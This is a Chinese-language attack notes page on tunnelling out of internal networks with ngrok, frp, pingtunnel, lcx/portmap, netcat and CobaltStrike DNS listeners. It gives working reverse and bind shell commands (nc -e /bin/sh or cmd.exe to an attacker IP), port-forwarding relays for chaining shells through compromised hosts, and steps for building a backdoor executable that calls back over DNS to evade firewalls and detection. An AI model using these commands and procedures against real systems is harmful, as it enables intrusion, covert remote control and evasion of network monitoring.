- 隧道:解决流量分析工具、流量监控工具、防火墙等相关工具的过滤问题(代理的高级版本,进行了协议的伪装)
Ngrok
国外地址:https://ngrok.com/
国内地址:https://www.ngrok.cc/
攻击流程:
kail
是控制端,在本地运行ngrok
的客户端文件
- 客户端文件的作用就是:监听
http://xigua.free.idcfengye.com
域名(127.0.0.1:4040
端口)传递给kail
控制端的192.168.108.129:4444
的流量信息(木马反弹的是ngrok
服务器)
kail
生成后门文件:这里要区分传统的生成后门写的lhost
(攻击主机的ip
地址),由于设置了ngrok
服务器中转,因此lhost
地址为ngrok
服务器
kail
的MSF
接受shell
:注意这里是服务器找内网的kail
,因此是反向代理。RHOST
参数值为受害靶机的ip
地址,LHOST
设置的是攻击主机的ip地址。而本文是反向代理,是服务器找本机ip
,相当于反弹的shell
找本机。(这也是为什么要在ngrok服务器设置反弹的ip和端口)
frp
Ngrok工具使用的是别人的服务器,容易泄露隐私数据。
FRP下载地址:https://github.com/fatedier/frp
使用前要求改配置文件
frpc.ini
为客户端(内网攻击机),frps.ini
为服务端(外网服务器)
内网隧道
使用隧道的必备条件:知道靶机支持的隧道协议
隧道原理
-
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况
-
如果发现异样,就会对通信进行阻断。那么什么是隧道呢?
-
这里的隧道,就是一种绕过端口屏蔽的通信方式。
-
防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装
-
然后穿过防火墙,与对方进行通信
-
当封装的数据包到达目的地时将数据包还原,并将还原后的数据包发送到相应服务器上。
常用的隧道技术:
- 网络层:IPv6 隧道、ICMP 隧道
- 传输层:TCP 隧道、UDP 隧道、常规端口转发
- 应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
ICMP 隧道
检测靶机是否支持ICMP 隧道:
TCP 协议
用“瑞士军刀”:netcat
nc <端口>(-vz检测TCP端口)
nc -uz <端口>(-uz检测UDP端口)
如:
nc -vz 192.168.8.16
HTTP 协议
如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
用“curl”工具,执行
curl 命令
如:
curl 192.168.8.16:80
DNS 协议
检测 DNS 连通性常用的命令是“nslookup”和“dig”
nslookup 是windows自带的DNS 探测命令
nslookup 192.168.8.16
dig命令
linux系统自带的 DNS 探测命令
dig 192.168.8.16
工具
pingtunnel是把tcp/udp/sock5
流量伪装icmp
流量进行转发的工具
因为tcp、udp、sock5
这几个协议受到防火墙和工具的拦截,这个工具就是把这些流量伪装成icmp
进行数据传输
语法
-p
表示连接 icmp
隧道另一端的机器IP
(即目标服务器)
-lp
表示需要监听的本地tcp
端口
-da
指定需要转发的机器的IP
(即目标内网某一机器的内网 IP)
-dp
指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x
设置连接的密码
传输层转发隧道
lcx
在window使用
下载地址:https://pan.baidu.com/s/1EoGZYVejTrBHBAvhndHLuQ , 提取码:fn9o
连接命令:
lcx -slave 192.168.3.31 6666 127.0.0.1 3389
portmap
即lcx工具的linux版
下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip
连接命令:
./portmap -m 2 -p1 6666 -h2 公网IP -p2 7777
这里的6666端口和7777端口在公网IP上必须是开启状态
Netcat
windows和linux都能利用,用时需要确保是最新版
window下载地址:https://eternallybored.org/misc/netcat/
使用:
双向连接反弹 shell
-
**正向:**攻击连接受害
受害:
nc -ldp 1234 -e /bin/sh //linux
nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows
攻击:
nc 192.168.76.132 1234 //主动连接
-
**反向:**受害连接攻击
攻击:
nc -lvp 1234
受害:
nc 攻击主机 IP 1234 -e /bin/sh //linux
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe //windows
多向连接反弹 shell-配合转发
-
god\Webserver:
Lcx.exe -listen 2222 3333
-
god\Sqlserver:
nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
-
kali 或本机:
nc -v 192.168.76.143 3333
相关 netcat
主要功能测试
-
指纹服务:nc -nv 192.168.76.143
-
端口扫描:nc -v -z 192.168.76.143 1-100
-
端口监听:nc -lvp xxxx
-
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
-
反弹 Shell:见上
应用层 DNS 隧道
常规是用http上线,dns比http速度要慢。
当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀(监听器就是隧道的意思)
因为dns是域名解析,这个协议一般都不会被拦截,数据通过dns协议给出去,一般也不会被拦截
流程:
-
使用云主机 Teamserver
并配置端口 53 启用-udp
-
买一个域名修改解析记录如下:
-
A 记录->cs 主机名->CS 服务器 IP
-
NS 记录->ns1 主机名->上个 A 记录地址
-
NS 记录->ns2 主机名->上个 A 记录地址
-
配置CobaltStrike
的DNS
监听器:
-
ns1.ord.cs
-
ns2.ord.cs
-
cs.ord.cs
-
在CobaltStrike
中生成后门
attacks–>packages–>windows executable(s)–>listener选择dns上线,勾选–>选择后门生成位置–>生成后门(dns_x.exe)
-
将后门上传到靶机后执行就能在CobaltStrike
上线